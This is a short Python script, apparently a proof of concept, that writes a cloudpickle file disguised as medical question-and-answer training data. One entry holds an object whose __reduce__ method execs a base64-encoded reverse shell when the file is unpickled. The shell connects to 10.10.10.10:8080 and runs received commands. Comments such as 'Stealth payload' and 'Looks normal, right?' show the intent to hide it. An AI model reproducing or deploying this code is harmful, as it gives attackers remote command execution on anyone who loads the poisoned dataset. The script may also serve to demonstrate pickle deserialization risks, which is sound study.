|
|
import base64 |
|
|
import cloudpickle |
|
|
import textwrap |
|
|
|
|
|
|
|
|
payload = textwrap.dedent(""" |
|
|
def rev_shell(): |
|
|
import socket, subprocess |
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
s.connect(("10.10.10.10", 8080)) |
|
|
while True: |
|
|
cmd = s.recv(1024).decode() |
|
|
if cmd.lower() in ["exit", "quit"]: |
|
|
break |
|
|
out = subprocess.getoutput(cmd) |
|
|
s.sendall(out.encode()) |
|
|
s.close() |
|
|
|
|
|
import threading |
|
|
threading.Thread(target=rev_shell, daemon=True).start() |
|
|
""").strip() |
|
|
|
|
|
|
|
|
encoded = base64.b64encode(payload.encode()).decode() |
|
|
|
|
|
|
|
|
class Trigger: |
|
|
def __reduce__(self): |
|
|
cmd = ( |
|
|
"import base64\n" |
|
|
f"source = base64.b64decode('{encoded}').decode()\n" |
|
|
"exec(source)" |
|
|
) |
|
|
return (exec, (cmd,)) |
|
|
|
|
|
|
|
|
qna = [ |
|
|
{"question": "What are symptoms of diabetes?", "answer": "Frequent urination, excessive thirst, and weight loss."}, |
|
|
{"question": "How to lower blood pressure?", "answer": "Diet, exercise, and salt reduction help."}, |
|
|
{"question": "Stealth payload", "answer": Trigger()}, |
|
|
{"question": "Just data", "answer": "Looks normal, right?"} |
|
|
] |
|
|
|
|
|
|
|
|
with open("train_data_mod_obfuscated_fixed.cpkl", "wb") as f: |
|
|
cloudpickle.dump(qna, f) |
|
|
|
|
|
print("✅ Cloudpickle file created successfully.") |
|
|
|